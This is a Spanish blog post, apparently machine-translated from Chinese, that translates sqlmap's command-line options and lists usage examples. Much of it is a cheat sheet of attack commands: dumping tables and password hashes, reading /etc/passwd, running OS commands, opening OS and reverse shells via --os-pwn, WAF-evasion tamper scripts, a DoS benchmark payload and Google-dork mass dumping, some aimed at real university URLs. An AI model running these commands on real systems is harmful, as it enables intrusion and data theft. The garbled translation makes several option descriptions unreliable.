Traducción de parámetros de línea de comando sqlmap y uso común

declaración

Lo recopilé hace mucho tiempo, y recientemente he estudiado la idea de la inyección SQL, así que lo publiqué para emergencias.

Traducción de parámetros específicos

-Version Muestra el número de versión del programa y sale
-h, -help Muestra este mensaje de ayuda y sale
-v VERBOSE Nivel de detalle: 0-6 (el valor predeterminado es 1)
Destino (destino): Lo
siguiente necesita establecer al menos una de las opciones, establecer la URL de destino .
-d DIRECT se conecta directamente a la base de datos.
-u URL, –url = URL de destino URL.
-l LIST Analiza el objetivo de los registros del agente de Burp o WebScarab.
-r REQUESTFILE Carga solicitudes HTTP desde un archivo.
-g GOOGLEDORK Procesa el resultado de Google dork como la URL de destino.
-c CONFIGFILE Opciones de carga del archivo de configuración INI.
Solicitud:
estas opciones se pueden utilizar para especificar cómo conectarse a la URL de destino.
--Data = DATA Cadena de datos enviada a través de POST
--cookie = COOKIE HTTP
Encabezado de cookie –cookie-urlencode Codificación de URL generada inyección de cookie
–drop-set-cookie Ignora la respuesta Establecer –Información del encabezado de la cookie –user
-agent = AGENT Especificar HTTP Usuario – Encabezado de
agente –aleatorio -agente Utilice el encabezado HTTP de agente de usuario seleccionado al azar
–referer = REFERER para especificar el encabezado HTTP Referer
–Headers = HEADERS separan las líneas y agregan otros encabezados HTTP
–auth-type = ATYPE Tipo de autenticación HTTP (Basic, Digest o NTLM) (Basic, Digest o NTLM)
–auth-cred = Credenciales de autenticación HTTP ACRED (nombre de usuario: Contraseña)
–auth-cert = Certificado de autenticación HTTP ACERT (key_file, cert_file)
–proxy = PROXY Utilice el proxy HTTP para conectarse a la URL de destino
–proxy-cred = PCRED Credenciales de autenticación del proxy HTTP (nombre de usuario: contraseña)
–ignore-proxy Ignore el sistema Proxy HTTP predeterminado de Lu
–delay = DELAY El tiempo de retraso entre cada solicitud HTTP, en segundos
–timeout = TIMEOUT Tiempo para esperar el tiempo de espera de la conexión (el valor predeterminado es 30 segundos)
–retries = RETRIES Tiempo para volver a conectarse después del tiempo de espera de la conexión ( Predeterminado 3)
–scope = SCOPE La expresión regular para filtrar el destino del registro de proxy proporcionado
–safe-url = Dirección URL SAFURL que se visita con frecuencia durante la prueba
–safe-freq = SAFREQ Solicitud de prueba entre dos visitas, Proporcione una
optimización de URL segura (optimización):
estas opciones se pueden utilizar para optimizar el rendimiento de sqlmap.
-o Activar todos los interruptores de optimización
–Predict-Output predice la salida de consulta común
–Mantener vivo utiliza una conexión HTTP (S) persistente
–Null-connection Recupera la longitud de la página del cuerpo de respuesta HTTP real
–threads = THREADS Concurrencia máxima de solicitudes HTTP (S) (el valor predeterminado es 1)
Inyección:
estas opciones se pueden usar para especificar qué parámetros probar, proporcionados desde Cargas útiles de inyección definidas y scripts de manipulación opcionales.
-p TESTPARAMETER Parámetros
probables –dbms = DBMS fuerza el DBMS back-end a este valor
–os = OS fuerza el sistema operativo DBMS back-end a este valor
–prefix = PREFIX inyectar el prefijo de la cadena de carga útil
–suffix = SUFIJO inyectar el sufijo de la cadena de carga útil
- tamper = TAMPER Utilice el script dado para manipular los datos inyectados-tamper
omita el firewall WEB (WAF) codificando los valores predeterminados de sqlmap en char () -
el directorio donde se encuentra el complemento de manipulación \ sqlmap-dev \ tamper
apostrophemask Reemplace los caracteres de comillas simples con caracteres UTF-8 de ancho completo
apostrophenullencode reemplaza comillas simples con caracteres no válidos Unicode de doble byte
appendnullbyte al final de la carga útil añade un carácter nulo codificación
base64encode uso codificación Base64 para todos los caracteres de la carga útil dada
entre, respectivamente, reemplazar el signo mayor que ">", "entre" con "NO entre 0 y #" # Y # "Reemplazar el signo igual" = "
bluecoat reemplaza el carácter de espacio con un espacio en blanco aleatorio válido después de la declaración SQL, y luego reemplaza el signo igual "=" con "LIKE"
chardoubleencode Codificación de URL doble para todos los caracteres de la carga útil dada (no procesa los caracteres codificados)
charencode para el dado Utilice la codificación de URL para todos los caracteres de la carga útil (no procese los caracteres codificados)
charunicodeencode Utilice la codificación de URL Unicode para los caracteres no codificados de una carga útil determinada (no procese los caracteres codificados)
concat2concatws use "CONCAT_WS (MID (CHAR (0), 0) , 0), A, B) ”Reemplazar instancias como“ CONCAT (A, B) ”como
igual a Reemplazar todos los signos iguales con el operador“ LIKE ”“ = ”
mayor Reemplazar los signos mayores que“> ”con la función“ GRANDE ”
halfversionedmorekeywords en cada Agregue un comentario de MySQL antes de cada palabra clave
ifnull2ifisnull Reemplace la instancia como “IFNULL (A, B)” con "IF (ISNULL (A), B, A)" en
minúsculas reemplace cada carácter de palabra clave con un valor en minúsculas
modsecurityversioned Incluya el comentario completo con un comentario Query
modsecurityzeroversioned Incluya la consulta completa con comentarios con ceros.
Múltiples espacios Agregue múltiples espacios alrededor de palabras clave SQL
reemplazo no recursivo reemplaza palabras clave SQL predefinidas con representaciones, aplicable al filtro
overlongutf8 Convierte todos los caracteres
en el porcentaje de carga útil dado Agregar un signo de porcentaje antes de cada carácter
randomcase Convierte aleatoriamente las mayúsculas y minúsculas de cada palabra clave character
randomcome a clave SQL Inserte un comentario aleatorio en la palabra
securesphere Agregue una cadena especialmente construida
sp_password Agregue "sp_password" al final de la carga útil para la ofuscación automática de los registros de DBMS
space2comment Reemplace el carácter de espacio con "/ ** /"
space2dash Use el carácter de comentario de guión "-" seguido de un carácter aleatorio Reemplazar el carácter de espacio
con una cadena y un carácter de nueva línea space2hash Reemplazar el carácter de espacio con un carácter de comentario de almohadilla "#" seguido de una cadena aleatoria y un carácter de nueva línea
space2morehash Reemplazar el carácter de espacio con un carácter de comentario de almohadilla "#" seguido de una cadena aleatoria y un carácter de nueva línea El carácter
space2mssqlblank reemplaza el carácter de espacio
con un carácter en blanco aleatorio en un conjunto de caracteres alternativo válido space2mssqlhash reemplaza el carácter de espacio con el carácter de comentario de
almohadilla "#" seguido de un carácter de nueva línea space2mysqlblank reemplaza el carácter en blanco con un conjunto de caracteres alternativo válido Reemplazar el carácter de espacio
space2mysqldash Use el carácter de comentario de guión "-" seguido de un carácter de nueva línea para reemplazar el carácter de espacio
space2plus Use el signo más "+" para reemplazar el carácter de espacio
space2randomblank reemplaza el carácter de espacio
con un carácter en blanco aleatorio de un conjunto de caracteres alternativo válido unionalltounion reemplaza "UNION ALL SELECT" por "UNION SELECT" unmagicquotes reemplaza el carácter de espacio
con una combinación de varios bytes% bf% 27 y el comentario general al final
barniz Agregue un encabezado HTTP "X-originating-IP" para omitir las palabras clave con versión WAF Rodee cada palabra clave que
no sea de función
con comentarios de MySQL versionedmorekeywords
Rodee cada palabra clave con comentarios MySQL x reenviados para Agregar un encabezado HTTP falso "X-Fordered-For" a Omitir la
detección de WAF (detección):
estas opciones se pueden utilizar para especificar cómo analizar y comparar el contenido de la página de respuesta HTTP durante la inyección SQL ciega.
–Level = LEVEL El nivel en el que se realiza la prueba (1-5, el valor predeterminado es 1)
–risk = RISK es el riesgo de realizar la prueba (0-3, el valor predeterminado es 1)
–string = STRING Coincide con la cadena en la página cuando la consulta es válida
–regexp = REGEXP
Haga coincidir la expresión regular en la página cuando la consulta sea válida –sólo texto Compare páginas web basadas únicamente en contenido de texto
Estas opciones se pueden usar para ajustar pruebas de inyección SQL específicas.
--Technique = TECH Prueba de tecnología de inyección SQL (por defecto BEUST)
Técnicas:
--Técnica / * Probar el tipo de inyección especificado \ Tecnología utilizada
Sin parámetros, todas las tecnologías de inyección se prueban por defecto:
B: Inyección SQL ciega basada en booleanos
E: Inyección SQL basada en errores
U: Inyección basada en UNION
S: Inyección SQL apilada
T: Basado en Nota ciega de tiempo
–tiempo-seg = tiempo de retardo de respuesta TIMESEC DBMS (el valor predeterminado es 5 segundos)
–union-cols = UCOLS El rango de columna fija se usa para probar la inyección de consultas UNION
–union-char = UCHAR se usa para forzar el carácter a adivinar el número de columnas
Huella digital (huella digital):
-f,-huella digital realiza una amplia gama de huellas digitales de la versión DBMS
Enumeración (enumeración):
estas opciones se pueden utilizar para enumerar la información, la estructura de la tabla y los datos del sistema de administración de la base de datos back-end. Además, también puede ejecutar sus propias sentencias SQL.
-b, -identificación del sistema de gestión de la base de datos de recuperación de banners -sistema de gestión de la base de datos
del usuario actual para recuperar al usuario actual
en la base de datos actual -sistema de gestión de la base de datos de recuperación de la base de datos actual
-es-dba DBMS que detecta que el usuario actual es el DBA
-los usuarios enumeran los usuarios del sistema de gestión de una base de datos
- las contraseñas enumeran el hash de la contraseña del
sistema de administración de bases de datos. Los privilegios de los usuarios
enumeran los permisos de los usuarios del sistema de administración de bases de datos.
–Dbs enumeran las bases de datos del sistema de administración de bases de datos
–las tablas
enumeran las tablas de la base de datos DBMS –columnas enumeran las columnas de la tabla de la base de datos DBMS –Volcar
entradas de volcado en la base de datos del sistema de administración de bases de datos
–dump-all dump todas las tablas de la base de datos DBMS Entrada:
columna de búsqueda de búsqueda, tabla y / o nombre de la base de datos -
D Nombre de la base de datos DB a enumerar -
T Tabla de la base de datos TBL
a enumerar - C Columna de la base de datos COL a enumerar -
U USUARIO para enumerar Usuarios de bases de datos
excluidos –exclude-sysdbs Excluir bases de datos del sistema al enumerar tablas
–start = LIMITSTART La salida de la primera consulta ingresa a la búsqueda
–stop = LIMITSTOP La salida de la última consulta ingresa a la búsqueda
–first = FIRSTCHAR La búsqueda de caracteres de la primera palabra de salida de la consulta
- last = LASTCHAR La búsqueda de caracteres de salida de la última consulta –sql -query
= QUERY Sentencia SQL que se ejecutará
–sql-shell prompt shell SQL interactivo
Fuerza bruta (fuerza bruta):
estas opciones se pueden utilizar para ejecutar comprobaciones de fuerza bruta.
–Common-tables comprueba que hay una tabla común
–common-column comprueba que hay una columna común
Inyección de función definida por el usuario (inyección de función definida por el usuario):
Estas opciones se pueden utilizar para crear funciones definidas por el usuario.
–Udf-inject inyecta funciones definidas por el usuario
–shared-lib = SHLIB La ruta local de la biblioteca compartida
Acceso al sistema de archivos:
estas opciones se pueden usar para acceder al sistema de archivos subyacente del sistema de administración de base de datos back-end.
--File-read = RFILE lee archivos del sistema de archivos del sistema de administración de la base de datos back-end
--file-write = WFILE edita los archivos locales en el sistema de archivos del sistema de administración de la base de datos back-end
--file-dest = DFILE el sistema de administración de la base de datos back-end escribe archivos Ruta absoluta
Acceso al sistema operativo (acceso al sistema operativo):
estas opciones se pueden utilizar para acceder al sistema operativo subyacente del sistema de administración de la base de datos back-end.
–Os-cmd = OSCMD ejecuta comandos del sistema operativo
–os-shell shell interactivo del sistema operativo
–os-pwn obtiene un shell OOB, meterpreter o VNC
–os-smbrelay obtiene un shell OOB, meterpreter o VNC
–os- Desbordamiento de búfer del uso del procedimiento almacenado bof
–priv-esc proceso de base de datos promoción de privilegios de usuario
–msf-path = MSFPATH Metasploit Framework ruta de instalación local
–tmp-path = TMPPATH ruta absoluta del directorio de archivos temporales remotos
Acceso al registro de Windows:
Estas opciones se pueden utilizar para acceder al registro de Windows del sistema de administración de bases de datos back-end.
–Reg-leer leer un valor de clave de registro de Windows
–reg-add escribir datos de valor de clave de registro de Windows
–reg-del eliminar un valor de clave de registro de Windows
–reg-key = REGKEY Clave de registro de Windows
–reg-value = REGVAL Windows Valor de la clave del registro
–reg-data = REGDATA Datos del valor de la clave del registro de Windows
–reg-type = REGTYPE Tipo de valor de la clave del registro de Windows
General (General):
Estas opciones se pueden utilizar para establecer algunos parámetros generales de trabajo.
-t TRAFFICFILE Registra todo el tráfico HTTP en un archivo de texto
-s SESSIONFILE Guarda y restaura todos los datos del archivo de sesión recuperado
-flush-session Actualiza el archivo de sesión de destino actual
-fresh-queries Ignora los resultados de la consulta almacenados en el archivo de sesión
-eta display
Tiempo estimado de llegada de cada salida -actualizar Actualizar SqlMap
-guardar archivo Guardar opciones en el archivo de configuración INI
-por lotes nunca pedir información al usuario, usar todas las configuraciones predeterminadas.
Varios (Varios):
–el pitido recuerda cuando se encuentra la inyección de SQL –verifica la
carga útil prueba de detección de IDS para cargas inyectadas
–Cleanup sqlmap UDF específico y DBMS de limpieza de tablas
–formula la forma de análisis y prueba de la URL de destino
–gpage = GOOGLEPAGE Usa el resultado de Google dork del número de página especificado –Ranking de página El resultado de
Google dork muestra el rango de página (PR)
–errores de análisis de Responder al mensaje de error del sistema de administración de la base de datos de análisis de páginas
-replicar Copiar los datos volcados a una base de datos sqlite3
-o Usar la dirección proxy predeterminada de Tor (Vidalia / Privoxy / Polipo)
-wizard Interfaz de asistente simple para usuarios novatos

Uso básico

sqlmap sqlmap -u "http://www.xxx.com" // comprobar si hay inyección, alguna información básica
sqlmap -u "http://www.xxx.com" --dbs // enumerar la base de datos
sqlmap sqlmap- u "http://www.xxx.com" --tables // enumeración del nombre de la tabla
sqlmap sqlmap -u "http://www.xxx.com" --columns -T nombre de la tabla de la base de datos // enumeración de campos
sqlmap sqlmap -u "http://www.xxx.com" --dump -T nombre de la tabla de la base de datos -C "campo 1, campo 2, campo 3" // volcar
sqlmap -u "http://www.xxx.com "--Dump -D nombre de base de datos-T nombre de tabla-C" nombre de campo 1, nombre de campo 2, nombre de campo 3 "// volcado
leer la base de datos -> leer la tabla -> leer la columna de la tabla -> obtener Contenido
sqlmap -u "http://jxpt.cuit.edu.cn/meol/common/inform/message_content.jsp?nid=419205" -p "nid" --cookie "JSESSIONID = EC114ABC4B90D3CB1FC79874ABB5E9C6" // inyección de cookies
sqlmap- u http://xxx.xxx.com/Login.asp --data "n = 1 & p = 1" // post inyección
sqlmap -r "ruta de archivo del paquete" -p punto de inyección // Puede guardar el paquete http como un archivo txt Puede probar varios puntos posteriores a la inyección
sqlmap -u punto de inyección - actual-usuario # / * obtiene el nombre de usuario actual
sqlmap -u punto de inyección - actual-db # / * obtiene el nombre de la base de datos actual
sqlmap -u punto de inyección -D "nombre de la base de datos" -T "nombre de la tabla "--Tablas
sqlmap -u punto de inyección -D" nombre de la base de datos "-T" nombre de la tabla "--columnas
sqlmap -u punto de inyección -D" nombre de la base de datos "-T" nombre de la tabla "-C" campo "--dump
sqlmap -u punto de inyección - archivo-leer "nombre de archivo" # leer archivo load_file ()
sqlmap -u punto de inyección --is-dba # si es un administrador de base de datos
sqlmap -u punto de inyección
- contraseñas # contraseña de usuario de base de datos sqlmap- u Punto de inyección --current-user # / * Obtiene el nombre de usuario actual

Uso principal

sqlmap -u "http: // url / news? id = 1" –dbs / ¿Qué consulta de base de datos es
sqlmap -u "http: // url / news? id = 1" –current-db / Obtiene el nombre de base de datos actual
sqlmap- u "http: // url / news? id = 1" –current-user / Obtiene el nombre de usuario actual
sqlmap -u "http: // url / news? id = 1" -D DataName –tables / Obtiene la tabla de la base de datos DataName
sqlmap -u “http: // url / news? id = 1” –columns -T “tablename” users-D “db_name” -v 0 / * Campo de columna
sqlmap -u “http: // url / news? id = 1 "-D DataName -T TableNamen -C" admin, contraseña "-dump -v 0 / Obtener datos de campo
sqlmap -u" http: // url / news? Id = 1 "-dbms" Mysql "/ Especificar el tipo de base de datos
sqlmap -u “http: // url / news? id = 1” –usuarios / lista de usuarios de base de datos
sqlmap -u “http: // url / news? id = 1” –passwords / get database user password
sqlmap -u “http: // url / news? id = 1 ”–passwords -U root -v 0 / Muestra la contraseña de la base de datos del usuario especificada
sqlmap -u “http: // url / news? id = 1” –dump -C “contraseña, usuario, id” -T “nombre de tabla” -D “nombre_bd” –start 1 –stop 20 / Lista de campos y columnas especificados
Generar 20 sqlmap -u "http: // url / news? Id = 1" –dump-all -v 0 / Listar todas las tablas en todas las bases de datos
sqlmap -u "http: // url / news? Id = 1" - privilegios / Ver permisos
sqlmap -u "http: // url / news? id = 1" –privileges -U root / Ver permisos de usuario específicos
sqlmap -u "http: // url / news? id = 1" –is-dba -v 1 / ¿Es un administrador de base de datos
sqlmap -u "http: // url / news? id = 1" –roles /
Enumerar roles de usuario de base de datos sqlmap -u "http: // url / news? id = 1" - udf-inject / Importar funciones definidas por el usuario (¡obtenga permisos del sistema!)
sqlmap -u "http: // url / news? id = 1" –dump-all –exclude-sysdbs -v 0 / Lista todas las tablas en la biblioteca actual
sqlmap -u “http: // url / news? id = 1” –union-cols / union query table record
sqlmap -u “http: // url / news? id = 1” –cookie “COOKIE_VALUE” / inyección de cookies
sqlmap -u "http: // url / news? id = 1" -b (–banner) / Obtener información del banner
sqlmap -u "http: // url / news? id = 1" –data "id = 3" / Post-inyección
sqlmap -u "http: // url / news? Id = 1" -v 1 -f / Tipo de base de datos de discriminación de huellas dactilares
sqlmap -u "http: // url / news? Id = 1" –proxy "http: / /127.0.0.1:8118 "/ Inyección de proxy
sqlmap -u" http: // url / news? Id = 1 "–string" STRING_ON_TRUE_PAGE "/ Especificar palabra clave
sqlmap -u" http: // url / news? Id = 1 "-Sql-shell / ejecutar el comando sql especificado
sqlmap -u" http: // url / news? Id = 1 "-file / etc / passwd
sqlmap -u" http: // url / news? Id = 1 "-os -cmd = whoami / ejecutar el comando del sistema
sqlmap -u "http: // url / news? id = 1" –os-shell / system shell interactivo
sqlmap -u "http: // url / news? id = 1" –os -pwn / Reverse shell
sqlmap -u "http: // url / news? id = 1" –reg-read / read the win system registry
sqlmap -u "http: // url / news? id = 1" –dbs -o "sqlmap.log" / guardar progreso
sqlmap -u “http: // url / news? id = 1” –dbs -o “sqlmap.log” –resume / * Reanudar el progreso guardado


Uso avanzado

Formar

Formulario enum

sqlmap -u “http://www.xxx.com” - formularios

Especificar datos del formulario

sqlmap -u "http://www.xxx.com" --data "tfUName = 1 & UPass = 1"
solicitud de captura de burpsuite y solicitud de construcción
sqlmap -r prueba_búsqueda -p tfUPass

Shell interactivo

sqlmap -u "http://www.xxx.com" --os-cmd "ipconfig"
sqlmap -u "http://www.xxx.com" --os-shell
sqlmap -u "http: // www .xxx.com "--os-pwn
sqlmap -u" http://www.xxx.com "--sql-shell
php Proporciona una página de carga, usa shell para aumentar los derechos.

Inyección pseudoestática

"
Http://sfl.fzu.edu.cn/index.php/Index/view/id/40.html " sqlmap -u "http://sfl.fzu.edu.cn/index.php/Index/view /id/40*.html "
google hacking
-p name / Varios parámetros como index.php? n_id = 1 & name = 2 & data = 2020 Queremos especificar el parámetro de nombre para inyectar
sqlmap -g" site: xxxxx.com inurl: php? id = "–Dump-all –batch / google search Los puntos de inyección se agotan automáticamente de todos los campos, y debe asegurarse de que se pueda acceder a google.com normalmente

Ataque de DOS

Ejecutar en el shell sql
Use sql específico para hacer que la base de datos informe un error y deje de ejecutar el
punto de referencia seleccionado (99999999999, 0x70726f62616e646f70726f62616e646f70726f62616e646f)

Bypass WAF

–Batch Nunca pregunte por la entrada del usuario, use el comportamiento predeterminado
–tamper = TAMPER Use los guiones dados para alterar los datos de inyección
常见 codificador: space2hash, space2morehash, base64encode, charencode
示例
sqlmap -u “http://www.xxx.com "-V 3 --dbs --batch --tamper" space2hash "

Vista de permisos


–Privilegios
Enumere los privilegios de los usuarios de DBMS 示例sqlmap -u “http://www.xxx.com” --privileges

Supongo que te gusta

Origin blog.csdn.net/qq_41874930/article/details/108152294
Recomendado
Clasificación